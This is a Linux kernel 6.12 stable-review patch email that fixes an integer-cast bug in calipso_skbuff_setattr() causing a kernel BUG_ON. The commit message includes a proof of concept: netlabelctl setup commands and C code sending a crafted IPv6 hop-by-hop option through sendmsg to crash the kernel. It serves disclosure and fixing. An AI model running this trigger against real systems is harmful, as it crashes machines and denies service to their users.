From mboxrd@z Thu Jan 1 00:00:00 1970 Received: from smtp.kernel.org (aws-us-west-2-korg-mail-1.web.codeaurora.org [10.30.226.201]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 515DF2BE7B2; Tue, 6 Jan 2026 17:32:13 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=10.30.226.201 ARC-Seal:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1767720735; cv=none; b=bpV4yx2WXcUTEJBzJVyD9Wu85i5ynyWfEfiamViGE7Pxv7gyQhuwWS4TD1sWgQqvgMExyu18KgJgmOR9tFE91DrRXiZfCMF7TvWx5HsC+Vol4jRe9GlwtRuI6jHT4NunpsR9ZM5UHIs18jeH4ZmcCQhvTxLB44eBzSqbcKZJA08= ARC-Message-Signature:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1767720735; c=relaxed/simple; bh=aZv6BMmQ+wEeTMrw11xzhc0iD7tQMFRcPDm/zPB6V7E=; h=From:To:Cc:Subject:Date:Message-ID:In-Reply-To:References: MIME-Version; b=tnVlZxW6PyXdbmZgpQ+xQ2v1zZKZSpT9QKhX+p7n5TFJb6D/uG4bdIoEEXOf0ocb0aVEqtOejgDmvsLNYzRZtKSiYCl51IPoNHCLQ8R8VPO79y8+txQcM+JUUdR67/P1zEyvjgUJXG8A7S5MyUZNWOF6ac5ri06T1P9oy3tuDmc= ARC-Authentication-Results:i=1; smtp.subspace.kernel.org; dkim=pass (1024-bit key) header.d=linuxfoundation.org header.i=@linuxfoundation.org header.b=l4wtj4fn; arc=none smtp.client-ip=10.30.226.201 Authentication-Results: smtp.subspace.kernel.org; dkim=pass (1024-bit key) header.d=linuxfoundation.org header.i=@linuxfoundation.org header.b="l4wtj4fn" Received: by smtp.kernel.org (Postfix) with ESMTPSA id 6A6ADC116C6; Tue, 6 Jan 2026 17:32:12 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=linuxfoundation.org; s=korg; t=1767720732; bh=aZv6BMmQ+wEeTMrw11xzhc0iD7tQMFRcPDm/zPB6V7E=; h=From:To:Cc:Subject:Date:In-Reply-To:References:From; b=l4wtj4fnHaz0EPOTXoG91xVnaRZiRwbQ6525oyyPFRgnpKlrN78Lw58KT8Er7lxzV soKT/M0oM+apEXybofkh65aTI12Dpsgdg9O0X1KE7iUDuihZwjfK0V+IQHmsRjq3Cm X/pKtwejmZ4mqa5Y+7ATxgUyAw4zmhVqivG1YKLc= From: Greg Kroah-Hartman To: stable@vger.kernel.org Cc: Greg Kroah-Hartman , patches@lists.linux.dev, Paul Moore , Will Rosenberg , Paolo Abeni , Sasha Levin Subject: [PATCH 6.12 326/567] ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() Date: Tue, 6 Jan 2026 18:01:48 +0100 Message-ID: <20260106170503.383353655@linuxfoundation.org> X-Mailer: git-send-email 2.52.0 In-Reply-To: <20260106170451.332875001@linuxfoundation.org> References: <20260106170451.332875001@linuxfoundation.org> User-Agent: quilt/0.69 X-stable: review X-Patchwork-Hint: ignore Precedence: bulk X-Mailing-List: stable@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit 6.12-stable review patch. If anyone has any objections, please let me know. ------------------ From: Will Rosenberg [ Upstream commit 58fc7342b529803d3c221101102fe913df7adb83 ] There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0); Fixes: 2917f57b6bc1 ("calipso: Allow the lsm to label the skbuff directly.") Suggested-by: Paul Moore Signed-off-by: Will Rosenberg Acked-by: Paul Moore Link: https://patch.msgid.link/20251219173637.797418-1-whrosenb@asu.edu Signed-off-by: Paolo Abeni Signed-off-by: Sasha Levin --- net/ipv6/calipso.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/net/ipv6/calipso.c b/net/ipv6/calipso.c index a247bb93908b..f5cc02ea3092 100644 --- a/net/ipv6/calipso.c +++ b/net/ipv6/calipso.c @@ -1342,7 +1342,8 @@ static int calipso_skbuff_setattr(struct sk_buff *skb, /* At this point new_end aligns to 4n, so (new_end & 4) pads to 8n */ pad = ((new_end & 4) + (end & 7)) & 7; len_delta = new_end - (int)end + pad; - ret_val = skb_cow(skb, skb_headroom(skb) + len_delta); + ret_val = skb_cow(skb, + skb_headroom(skb) + (len_delta > 0 ? len_delta : 0)); if (ret_val < 0) return ret_val; -- 2.51.0